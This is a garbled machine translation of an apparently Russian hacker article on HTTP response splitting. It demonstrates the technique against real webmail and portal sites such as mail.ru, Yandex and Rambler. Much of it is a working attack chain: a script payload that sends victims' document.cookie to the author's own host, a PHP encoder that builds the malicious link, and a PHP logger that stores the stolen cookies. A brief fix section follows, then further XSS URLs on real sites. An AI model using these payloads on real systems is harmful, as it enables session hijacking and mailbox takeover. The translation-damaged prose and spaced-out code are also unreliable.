This page has been robot translated, sorry for typos if any. Original content here.

HTTP-Splitting-Schwachstelle

Dieser Artikel beschreibt die praktische Anwendung einer Sicherheitsanfälligkeit, die als HTTP-Splitting-Sicherheitsanfälligkeit bezeichnet wird.

Bazhny Header () unter dem Mikroskop

Beim Durchstöbern des Internets beobachten wir häufig die URL des Formulars http://anyhost.com/redirect.php?url=http://otherhost.com. Ein neugieriger Benutzer gibt die Adresse seiner Homepage an die URL weiter und achtet auch auf die Krümmung des Skripts.
Neben den einfachen Neugierigen im Internet leben sehr neugierige User. Sie fahren in AccessDiver einen Link ein und lernen, wie das Skript funktioniert.

1. Das Wesen des Fehlers.
2. Praktische Anwendung.
3. Ort der Fehlerhäufigkeit.
4. Schutzmittel.

Für Tanker schlage ich vor, dass AccessDiver "hakresky" ist, wie es in einer Nation üblich ist, ein Instrument auszudrücken. Das Herunterladen ist für das Offsite- Projekt zulässig . Zum Zeitpunkt des Schreibens war die neueste Version des Dienstprogramms 4.173. Das Programm ist am besten für seine HTTP-Debugger-Funktion bekannt. Sie können es verwenden, indem Sie in den Expertenmodus wechseln, indem Sie auch die entsprechende Funktion im Menü Extras auswählen (F4, dann Strg + F9 - je nach Version können sie geändert werden). Dann werden wir das Anliegen seiner Umgebung nicht betonen, jeder Schüler kann mit einem Taucher fertig werden.

Für Experimente haben wir mail.ru gewählt , da dies der bekannteste Postdienst in Runet ist und der Leser besonders daran interessiert sein wird, mehr über den Fehler in diesem Projekt zu erfahren. /www.security-teams.net . Wir werden zum ausgewählten Portal für Computersicherheit weitergeleitet;). Wir fügen die Site den Lesezeichen hinzu und kehren zur Mail zurück. Schreiben Sie den Link, der uns interessiert, in das Feld HTTP-Adresse, setzen Sie den Modus auf Abrufen und klicken Sie auf Verbinden.
Vor uns erscheinen die vom Server zurückgegebenen HTTP-Header, ungefähr wie im Screenshot:



Kümmern wir uns um die unterstrichene Linie. Wenn wir Location: headers treffen, werden wir vom Browser bedingungslos zur angegebenen URL weitergeleitet. Infolgedessen können wir dem Benutzer einen Link zuweisen, als wäre er auf einer Mail, aber er bekommt überhaupt nichts auf der Mail. All dies ist wunderbar, aber in der Praxis entfremdet sich nichts.

Beachten Sie, dass die Zeilen in der Kopfzeile durch zwei Zeichen 0Dh 0Ah getrennt sind . Und was, wenn sie am Ende des Links zugeschrieben werden? Mal sehen, was der Server uns auf den Einspruch gegen die Anfrage zurückgibt : http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist :



Wie interessant. So können wir den Server zwingen, fast jeden Header zu erzeugen. Ändern Sie beispielsweise Benutzercookies. Das ist aber auch nicht so interessant wie die Tatsache, dass wir zögern. Interessanterweise sind die Header durch die Sequenz 0Dh 0Ah 0Dh 0Ah vom Aktkörper getrennt . Können wir eine ganze Seite geben? Geben Sie http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie) ein; </ script> <! - siehe auch:



Alles was gelb ist, ist der Text des Dokuments. Wenn JavaScript im Browser aktiviert ist, folgen Sie dem Link und wir sehen ein Meldungsfeld mit unseren Cookies. Um einen XSS-Angriff durchzuführen, benötigen Sie:
1) Erstellen Sie eine Seite wie <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Übersetzen Sie es mit einem Skript in url-encode:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
für ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Wir bekommen:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... usw. (**)

3) schreibe ein Skript log.php lade es auch auf drmist.ru hoch:
<? php
$ fid = fopen ("../ log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
header ("Ort: http://www.mail.ru");
?>

Jetzt können Sie den Magic Link (**) auch koppeln, um die Cookies des Opfers zu kaufen.
Sie dürfen eine Menge nützlicher Dinge tun, zum Beispiel, um Zugriff auf die Mail zu erhalten, aber zu einem anderen Zeitpunkt haben wir uns auch so sehr vom Hauptthema abgelenkt.

Natürlich ist es nicht erforderlich, auf der Mail zu fahren, da diese eine großartige Ressource ist, Scheiße, und sie stammt auch nicht aus unserer Sandbox. Es ist üblich, dass alle Leute einen Fehler machen, aber mail.ru-Administratoren machen immer seltener Fehler. Wahre Bugs bleiben immer noch. Die Menschen schweigen über sie nicht aus Gier, sondern aus Angst vor einer unzureichenden Reaktion der Verwaltung auf ihre Feststellung, die laut Statistik den Ort besitzt. Glücklicherweise garantiert das Vorhandensein von XSS nicht den Zugriff auf die Mailbox. Ich bin sicher, dass der Fehler geschlossen wird. Spätestens nach 2 Tagen. Verwundbar nicht nur mail.ru. Ich empfehle dringend zu lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt waren wir sehr überrascht, als ich erfuhr, dass securitylab.ru vor 3 Jahren über solche Sicherheitslücken geschrieben wurde (siehe CRLF-Implementierung in der PHP-Header () -Funktion vom 10. September 2002), aber da wir dies nicht tun Ich habe mehr als einmal gehört, dann habe ich das Thema für relevant gehalten. Darüber hinaus erlaubt blah blah vryatli in irgendeiner Weise relevante das Vorhandensein von Fehlern auf Yandex, Rambler auch per E-Mail.

Den Fehler zu beheben ist nicht schwer. Lassen Sie ihn das verwundbare Skript essen:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

header ("Location: $ url");

?>

Wir machen ihn unverwundbar:

header ("Location:" .urlencode ($ url));

Wenn die Umleitung nur innerhalb der Site geplant ist, ist es am besten, dies zu tun:

header ("Ort: http://www.mail.ru/".urlencode($url));

Hier vielleicht auch alles was wir informieren wollten. Lassen Sie mich noch etwas XSS anbieten:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=de "<h1> XSS </ h1>